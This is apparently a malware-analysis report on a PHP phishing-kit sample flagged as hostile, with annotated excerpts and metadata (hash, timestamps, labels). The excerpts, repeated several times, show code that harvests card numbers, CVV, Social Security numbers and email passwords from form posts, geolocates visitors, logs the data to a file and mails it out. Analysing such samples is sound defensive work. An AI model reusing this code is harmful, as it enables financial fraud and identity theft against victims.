VirusShare_feae4bf36072cdeb08a250892aca6b8b
PHP
Verdict: HOSTILE
Local reference
Suspicious dependency
Inferred
VirusShare_feae4bf36072cdeb08a250892aca6b8b
php
| 2 |
$ip_state = ""; |
|
| 3 |
$ip_city = ""; |
|
| 4 |
$ips = $_SERVER['REMOTE_ADDR']; |
|
| 5 |
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ips)); |
Error-suppressed unserialize call |
| 6 |
if($query && $query['status'] == 'success') |
|
| 7 |
{ |
|
| 11 |
session_start(); |
|
| 12 |
$adddate=date("D M d, Y g:i a"); |
|
| 13 |
$ip = getenv("REMOTE_ADDR"); |
|
| 14 |
$user_agent = $_SERVER['HTTP_USER_AGENT']; |
|
| 15 |
$country = visitor_country(); |
|
| 16 |
$message .= " \n"; |
|
| 17 |
$message .= " \n"; |
|
| 18 |
$message .= "---------------++--------------\n"; |
|
| 19 |
$message .= "Credit/Debit Card Number: ".$_POST[q3]."\n"; |
Credit card form fields collection |
| 20 |
$message .= "Expiry Date (MM/YYYY): ".$_POST[ans3]."\n"; |
|
| 21 |
$message .= "CVV: ".$_POST[anh4]."\n"; |
|
| 22 |
$message .= "Zip Code: ".$_POST[q4]."\n"; |
|
| 23 |
$message .= "Date of Birth (MM/DD/YYYY): ".$_POST[ans4]."\n"; |
|
| 28 |
$message .= "Social Security Number: ".$_POST[q5]."\n"; |
|
| 29 |
$message .= "Email Address: ".$_POST[email]."\n"; |
|
| 30 |
$message .= "Email Password: ".$_POST[pas]."\n"; |
|
| 31 |
$message .= "Full Name: ".$_POST[ans5]."\n"; |
|
| 32 |
$message .= "---------=IP Adress & Date=---------\n"; |
|
| 52 |
$subject = "Resultz - | $Password | $ip"; |
|
| 53 |
$headers = "From: MeToll<[email protected]>"; |
|
| 54 |
$headers .= $_POST['eMailAdd']."\n"; |
|
| 55 |
$headers .= "MIME-Version: 1.0\n"; |
|
| 56 |
$str=array($sent, $IP); foreach ($str as $send) |
|
| 57 |
if(mail($send,$subject,$message,$headers) != false){ |
Hardcoded email in suspicious context |
| 58 |
mail($mesaegs,$subject,$message,$headers); |
|
Objectives
| 11 |
session_start(); |
|
| 12 |
$adddate=date("D M d, Y g:i a"); |
|
| 13 |
$ip = getenv("REMOTE_ADDR"); |
|
| 14 |
$user_agent = $_SERVER['HTTP_USER_AGENT']; |
|
| 15 |
$country = visitor_country(); |
|
| 16 |
$message .= " \n"; |
|
| 17 |
$message .= " \n"; |
|
| 18 |
$message .= "---------------++--------------\n"; |
|
| 19 |
$message .= "Credit/Debit Card Number: ".$_POST[q3]."\n"; |
|
| 20 |
$message .= "Expiry Date (MM/YYYY): ".$_POST[ans3]."\n"; |
|
| 21 |
$message .= "CVV: ".$_POST[anh4]."\n"; |
|
| 22 |
$message .= "Zip Code: ".$_POST[q4]."\n"; |
|
| 23 |
$message .= "Date of Birth (MM/DD/YYYY): ".$_POST[ans4]."\n"; |
|
| 28 |
$message .= "Social Security Number: ".$_POST[q5]."\n"; |
|
| 29 |
$message .= "Email Address: ".$_POST[email]."\n"; |
|
| 30 |
$message .= "Email Password: ".$_POST[pas]."\n"; |
|
| 31 |
$message .= "Full Name: ".$_POST[ans5]."\n"; |
|
| 32 |
$message .= "---------=IP Adress & Date=---------\n"; |
|
Micro-behaviors
| 52 |
$subject = "Resultz - | $Password | $ip"; |
|
| 53 |
$headers = "From: MeToll<[email protected]>"; |
|
| 54 |
$headers .= $_POST['eMailAdd']."\n"; |
|
| 55 |
$headers .= "MIME-Version: 1.0\n"; |
|
| 56 |
$str=array($sent, $IP); foreach ($str as $send) |
|
| 57 |
if(mail($send,$subject,$message,$headers) != false){ |
|
| 58 |
mail($mesaegs,$subject,$message,$headers); |
|
| 2 |
$ip_state = ""; |
|
| 3 |
$ip_city = ""; |
|
| 4 |
$ips = $_SERVER['REMOTE_ADDR']; |
|
| 5 |
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ips)); |
|
| 6 |
if($query && $query['status'] == 'success') |
|
| 7 |
{ |
|
| 73 |
function visitor_country() |
|
| 74 |
{ |
|
| 75 |
$client = @$_SERVER['HTTP_CLIENT_IP']; |
|
| 76 |
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; |
|
| 77 |
$remote = $_SERVER['REMOTE_ADDR']; |
|
| 78 |
$result = "Unknown"; |
|
| 11 |
session_start(); |
|
| 12 |
$adddate=date("D M d, Y g:i a"); |
|
| 13 |
$ip = getenv("REMOTE_ADDR"); |
|
| 14 |
$user_agent = $_SERVER['HTTP_USER_AGENT']; |
|
| 15 |
$country = visitor_country(); |
|
| 16 |
$message .= " \n"; |
|
| 17 |
$message .= " \n"; |
|
| 18 |
$message .= "---------------++--------------\n"; |
|
| 19 |
$message .= "Credit/Debit Card Number: ".$_POST[q3]."\n"; |
|
| 20 |
$message .= "Expiry Date (MM/YYYY): ".$_POST[ans3]."\n"; |
|
| 21 |
$message .= "CVV: ".$_POST[anh4]."\n"; |
|
| 22 |
$message .= "Zip Code: ".$_POST[q4]."\n"; |
|
| 23 |
$message .= "Date of Birth (MM/DD/YYYY): ".$_POST[ans4]."\n"; |
|
| 2 |
$ip_state = ""; |
|
| 3 |
$ip_city = ""; |
|
| 4 |
$ips = $_SERVER['REMOTE_ADDR']; |
|
| 5 |
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ips)); |
|
| 6 |
if($query && $query['status'] == 'success') |
|
| 7 |
{ |
|
| 11 |
session_start(); |
|
| 12 |
$adddate=date("D M d, Y g:i a"); |
|
| 13 |
$ip = getenv("REMOTE_ADDR"); |
|
| 14 |
$user_agent = $_SERVER['HTTP_USER_AGENT']; |
|
| 15 |
$country = visitor_country(); |
|
| 16 |
$message .= " \n"; |
|
| 17 |
$message .= " \n"; |
|
| 18 |
$message .= "---------------++--------------\n"; |
|
| 19 |
$message .= "Credit/Debit Card Number: ".$_POST[q3]."\n"; |
|
| 20 |
$message .= "Expiry Date (MM/YYYY): ".$_POST[ans3]."\n"; |
|
| 21 |
$message .= "CVV: ".$_POST[anh4]."\n"; |
|
| 22 |
$message .= "Zip Code: ".$_POST[q4]."\n"; |
|
| 23 |
$message .= "Date of Birth (MM/DD/YYYY): ".$_POST[ans4]."\n"; |
|
| 2 |
$ip_state = ""; |
|
| 3 |
$ip_city = ""; |
|
| 4 |
$ips = $_SERVER['REMOTE_ADDR']; |
|
| 5 |
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ips)); |
|
| 6 |
if($query && $query['status'] == 'success') |
|
| 7 |
{ |
|
| 43 |
$handle = fopen("JOB.txt", "a"); |
|
| 44 |
fwrite($handle, $message); |
|
| 45 |
fclose($handle); |
|
| 2 |
$ip_state = ""; |
|
| 3 |
$ip_city = ""; |
|
| 4 |
$ips = $_SERVER['REMOTE_ADDR']; |
|
| 5 |
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ips)); |
|
| 6 |
if($query && $query['status'] == 'success') |
|
| 7 |
{ |
|
| 73 |
function visitor_country() |
|
| 74 |
{ |
|
| 75 |
$client = @$_SERVER['HTTP_CLIENT_IP']; |
|
| 76 |
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; |
|
| 77 |
$remote = $_SERVER['REMOTE_ADDR']; |
|
| 78 |
$result = "Unknown"; |
|
| 92 |
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); |
|
Identity
| SHA-256 |
7d0fa862354436865a621b286572b16039d3035068c57eae6cd11dcaf063ea12 |
| Filename |
VirusShare_feae4bf36072cdeb08a250892aca6b8b |
Timeline
| First seen |
17 Jun 2026 15:45 UTC |
| First analyzed |
17 Jun 2026 23:14 UTC |
| Last analyzed |
17 Jun 2026 23:14 UTC |
| Last updated |
17 Jun 2026 23:14 UTC |
Labeling
| Label |
bad |
| Label source |
harvest |
| Traits version |
0226e |